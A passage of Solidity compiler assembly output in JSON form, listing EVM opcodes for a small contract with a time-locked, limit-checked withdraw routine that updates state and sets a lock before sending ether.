"name": "PUSH [tag]", | |
"value": "13" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 30, | |
"end": 31, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 27, | |
"end": 28, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 20, | |
"end": 32, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "13" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "POP" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "PUSH [tag]", | |
"value": "14" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "PUSH", | |
"value": "4" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "CALLDATASIZE" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "CALLDATALOAD" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "AND" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "SWAP3" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "POP" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "POP" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "POP" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "PUSH [tag]", | |
"value": "15" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "JUMP" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "tag", | |
"value": "14" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "POP" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "POP" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "RETURN" | |
}, | |
{ | |
"begin": 283, | |
"end": 372, | |
"name": "tag", | |
"value": "5" | |
}, | |
{ | |
"begin": 283, | |
"end": 372, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 283, | |
"end": 372, | |
"name": "PUSH [tag]", | |
"value": "16" | |
}, | |
{ | |
"begin": 283, | |
"end": 372, | |
"name": "PUSH [tag]", | |
"value": "17" | |
}, | |
{ | |
"begin": 283, | |
"end": 372, | |
"name": "JUMP" | |
}, | |
{ | |
"begin": 283, | |
"end": 372, | |
"name": "tag", | |
"value": "16" | |
}, | |
{ | |
"begin": 283, | |
"end": 372, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 283, | |
"end": 372, | |
"name": "STOP" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "tag", | |
"value": "6" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "CALLVALUE" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "18" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 30, | |
"end": 31, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 27, | |
"end": 28, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 20, | |
"end": 32, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "18" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "POP" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "PUSH [tag]", | |
"value": "19" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "PUSH [tag]", | |
"value": "20" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "JUMP" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "tag", | |
"value": "19" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "POP" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "POP" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "RETURN" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "tag", | |
"value": "9" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "PUSH", | |
"value": "2" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "POP" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "POP" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "JUMP", | |
"value": "[out]" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "tag", | |
"value": "12" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 456, | |
"end": 471, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 456, | |
"end": 471, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 456, | |
"end": 471, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 456, | |
"end": 471, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 456, | |
"end": 471, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 456, | |
"end": 471, | |
"name": "PUSH", | |
"value": "100" | |
}, | |
{ | |
"begin": 456, | |
"end": 471, | |
"name": "EXP" | |
}, | |
{ | |
"begin": 456, | |
"end": 471, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 456, | |
"end": 471, | |
"name": "DIV" | |
}, | |
{ | |
"begin": 456, | |
"end": 471, | |
"name": "PUSH", | |
"value": "FF" | |
}, | |
{ | |
"begin": 456, | |
"end": 471, | |
"name": "AND" | |
}, | |
{ | |
"begin": 455, | |
"end": 471, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 447, | |
"end": 472, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 447, | |
"end": 472, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 447, | |
"end": 472, | |
"name": "PUSH [tag]", | |
"value": "22" | |
}, | |
{ | |
"begin": 447, | |
"end": 472, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 447, | |
"end": 472, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 447, | |
"end": 472, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 447, | |
"end": 472, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 447, | |
"end": 472, | |
"name": "tag", | |
"value": "22" | |
}, | |
{ | |
"begin": 447, | |
"end": 472, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 514, | |
"end": 528, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 490, | |
"end": 498, | |
"name": "PUSH", | |
"value": "3" | |
}, | |
{ | |
"begin": 490, | |
"end": 510, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 499, | |
"end": 509, | |
"name": "CALLER" | |
}, | |
{ | |
"begin": 490, | |
"end": 510, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 490, | |
"end": 510, | |
"name": "AND" | |
}, | |
{ | |
"begin": 490, | |
"end": 510, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 490, | |
"end": 510, | |
"name": "AND" | |
}, | |
{ | |
"begin": 490, | |
"end": 510, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 490, | |
"end": 510, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 490, | |
"end": 510, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 490, | |
"end": 510, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 490, | |
"end": 510, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 490, | |
"end": 510, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 490, | |
"end": 510, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 490, | |
"end": 510, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 490, | |
"end": 510, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 490, | |
"end": 510, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 490, | |
"end": 510, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 490, | |
"end": 510, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 490, | |
"end": 528, | |
"name": "LT" | |
}, | |
{ | |
"begin": 490, | |
"end": 528, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 482, | |
"end": 529, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 482, | |
"end": 529, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 482, | |
"end": 529, | |
"name": "PUSH [tag]", | |
"value": "23" | |
}, | |
{ | |
"begin": 482, | |
"end": 529, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 482, | |
"end": 529, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 482, | |
"end": 529, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 482, | |
"end": 529, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 482, | |
"end": 529, | |
"name": "tag", | |
"value": "23" | |
}, | |
{ | |
"begin": 482, | |
"end": 529, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 598, | |
"end": 614, | |
"name": "PUSH", | |
"value": "1" | |
}, | |
{ | |
"begin": 598, | |
"end": 614, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 580, | |
"end": 594, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 580, | |
"end": 614, | |
"name": "GT" | |
}, | |
{ | |
"begin": 580, | |
"end": 614, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 572, | |
"end": 615, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 572, | |
"end": 615, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 572, | |
"end": 615, | |
"name": "PUSH [tag]", | |
"value": "24" | |
}, | |
{ | |
"begin": 572, | |
"end": 615, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 572, | |
"end": 615, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 572, | |
"end": 615, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 572, | |
"end": 615, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 572, | |
"end": 615, | |
"name": "tag", | |
"value": "24" | |
}, | |
{ | |
"begin": 572, | |
"end": 615, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 718, | |
"end": 725, | |
"name": "PUSH", | |
"value": "93A80" | |
}, | |
{ | |
"begin": 687, | |
"end": 703, | |
"name": "PUSH", | |
"value": "2" | |
}, | |
{ | |
"begin": 687, | |
"end": 715, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 704, | |
"end": 714, | |
"name": "CALLER" | |
}, | |
{ | |
"begin": 687, | |
"end": 715, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 687, | |
"end": 715, | |
"name": "AND" | |
}, | |
{ | |
"begin": 687, | |
"end": 715, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 687, | |
"end": 715, | |
"name": "AND" | |
}, | |
{ | |
"begin": 687, | |
"end": 715, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 687, | |
"end": 715, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 687, | |
"end": 715, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 687, | |
"end": 715, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 687, | |
"end": 715, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 687, | |
"end": 715, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 687, | |
"end": 715, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 687, | |
"end": 715, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 687, | |
"end": 715, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 687, | |
"end": 715, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 687, | |
"end": 715, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 687, | |
"end": 715, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 687, | |
"end": 725, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 680, | |
"end": 683, | |
"name": "TIMESTAMP" | |
}, | |
{ | |
"begin": 680, | |
"end": 725, | |
"name": "LT" | |
}, | |
{ | |
"begin": 680, | |
"end": 725, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 672, | |
"end": 726, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 672, | |
"end": 726, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 672, | |
"end": 726, | |
"name": "PUSH [tag]", | |
"value": "25" | |
}, | |
{ | |
"begin": 672, | |
"end": 726, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 672, | |
"end": 726, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 672, | |
"end": 726, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 672, | |
"end": 726, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 672, | |
"end": 726, | |
"name": "tag", | |
"value": "25" | |
}, | |
{ | |
"begin": 672, | |
"end": 726, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 760, | |
"end": 774, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 736, | |
"end": 744, | |
"name": "PUSH", | |
"value": "3" | |
}, | |
{ | |
"begin": 736, | |
"end": 756, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 745, | |
"end": 755, | |
"name": "CALLER" | |
}, | |
{ | |
"begin": 736, | |
"end": 756, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 736, | |
"end": 756, | |
"name": "AND" | |
}, | |
{ | |
"begin": 736, | |
"end": 756, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 736, | |
"end": 756, | |
"name": "AND" | |
}, | |
{ | |
"begin": 736, | |
"end": 756, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 736, | |
"end": 756, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 736, | |
"end": 756, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 736, | |
"end": 756, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 736, | |
"end": 756, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 736, | |
"end": 756, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 736, | |
"end": 756, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 736, | |
"end": 756, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 736, | |
"end": 756, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 736, | |
"end": 756, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 736, | |
"end": 756, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 736, | |
"end": 756, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 736, | |
"end": 774, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 736, | |
"end": 774, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 736, | |
"end": 774, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 736, | |
"end": 774, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 736, | |
"end": 774, | |
"name": "SWAP3" | |
}, | |
{ | |
"begin": 736, | |
"end": 774, | |
"name": "POP" | |
}, | |
{ | |
"begin": 736, | |
"end": 774, | |
"name": "POP" | |
}, | |
{ | |
"begin": 736, | |
"end": 774, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 736, | |
"end": 774, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 736, | |
"end": 774, | |
"name": "SSTORE" | |
}, | |
{ | |
"begin": 736, | |
"end": 774, | |
"name": "POP" | |
}, | |
{ | |
"begin": 815, | |
"end": 818, | |
"name": "TIMESTAMP" | |
}, | |
{ | |
"begin": 784, | |
"end": 800, | |
"name": "PUSH", | |
"value": "2" | |
}, | |
{ | |
"begin": 784, | |
"end": 812, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 801, | |
"end": 811, | |
"name": "CALLER" | |
}, | |
{ | |
"begin": 784, | |
"end": 812, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 784, | |
"end": 812, | |
"name": "AND" | |
}, | |
{ | |
"begin": 784, | |
"end": 812, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 784, | |
"end": 812, | |
"name": "AND" | |
}, | |
{ | |
"begin": 784, | |
"end": 812, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 784, | |
"end": 812, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 784, | |
"end": 812, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 784, | |
"end": 812, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 784, | |
"end": 812, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 784, | |
"end": 812, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 784, | |
"end": 812, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 784, | |
"end": 812, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 784, | |
"end": 812, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 784, | |
"end": 812, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 784, | |
"end": 812, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 784, | |
"end": 818, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 784, | |
"end": 818, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 784, | |
"end": 818, | |
"name": "SSTORE" | |
}, | |
{ | |
"begin": 784, | |
"end": 818, | |
"name": "POP" | |
}, | |
{ | |
"begin": 912, | |
"end": 916, | |
"name": "PUSH", | |
"value": "1" | |
}, | |
{ | |
"begin": 894, | |
"end": 909, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 894, | |
"end": 909, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 894, | |
"end": 916, | |
"name": "PUSH", | |
"value": "100" | |
}, | |
{ | |
"begin": 894, | |
"end": 916, | |
"name": "EXP" | |
}, | |
{ | |
"begin": 894, | |
"end": 916, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 894, | |
"end": 916, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 894, | |
"end": 916, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 894, | |
"end": 916, | |
"name": "PUSH", | |
"value": "FF" | |
}, | |
{ | |
"begin": 894, | |
"end": 916, | |
"name": "MUL" | |
}, | |
{ | |
"begin": 894, | |
"end": 916, | |
"name": "NOT" | |
}, | |
{ | |
"begin": 894, | |
"end": 916, | |
"name": "AND" | |
}, | |
{ | |
"begin": 894, | |
"end": 916, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 894, | |
"end": 916, | |
"name": "DUP4" | |
}, | |
{ | |
"begin": 894, | |
"end": 916, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 894, | |
"end": 916, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 894, | |
"end": 916, | |
"name": "MUL" | |
}, | |
{ | |
"begin": 894, | |
"end": 916, | |
"name": "OR" | |
}, | |
{ | |
"begin": 894, | |
"end": 916, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 894, | |
"end": 916, | |
"name": "SSTORE" | |
}, | |
{ | |
"begin": 894, | |
"end": 916, | |
"name": "POP" | |
}, | |
{ | |
"begin": 926, | |
"end": 936, | |
"name": "CALLER" | |
}, | |
{ | |
"begin": 926, | |
"end": 945, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 926, | |
"end": 945, | |
"name": "AND" | |
}, | |
{ | |
"begin": 926, | |
"end": 961, | |
"name": "PUSH", | |
"value": "8FC" | |
}, | |
{ | |
"begin": 946, | |
"end": 960, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 926, | |
"end": 961, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 926, | |
"end": 961, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 926, | |
"end": 961, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 926, | |
"end": 961, | |
"name": "MUL" | |
}, | |
{ | |
"begin": 926, | |
"end": 961, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 926, | |
"end": 961, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 926, | |
"end": 961, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 926, | |
"end": 961, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 926, | |
"end": 961, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 926, | |
"end": 961, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 926, | |
"end": 961, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 926, | |
"end": 961, | |
"name": "DUP4" | |
}, | |
{ | |
"begin": 926, | |
"end": 961, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 926, | |
"end": 961, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 926, | |
"end": 961, | |
"name": "DUP6" | |
}, | |
{ | |
"begin": 926, | |
"end": 961, | |
"name": "DUP9" | |
}, | |
{ | |
"begin": 926, | |
"end": 961, | |
"name": "DUP9" | |
}, | |
{ | |
"begin": 926, | |
"end": 961, | |
"name": "CALL" | |
}, | |
{ | |
"begin": 926, | |
"end": 961, | |
"name": "SWAP4" | |
}, | |
{ | |
"begin": 926, | |
"end": 961, | |
"name": "POP" | |
}, | |
{ | |
"begin": 926, | |
"end": 961, | |
"name": "POP" | |
}, | |
{ | |
"begin": 926, | |
"end": 961, | |
"name": "POP" | |
}, | |
{ | |
"begin": 926, | |
"end": 961, | |
"name": "POP" | |
}, | |
{ | |
"begin": 926, | |
"end": 961, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "26" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 45, | |
"end": 61, | |
"name": "RETURNDATASIZE" | |
}, | |
{ | |
"begin": 42, | |
"end": 43, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 39, | |
"end": 40, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 24, | |
"end": 62, | |
"name": "RETURNDATACOPY" | |
}, | |
{ | |
"begin": 77, | |
"end": 93, | |
"name": "RETURNDATASIZE" | |
}, | |
{ | |
"begin": 74, | |
"end": 75, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 67, | |
"end": 94, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "26" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
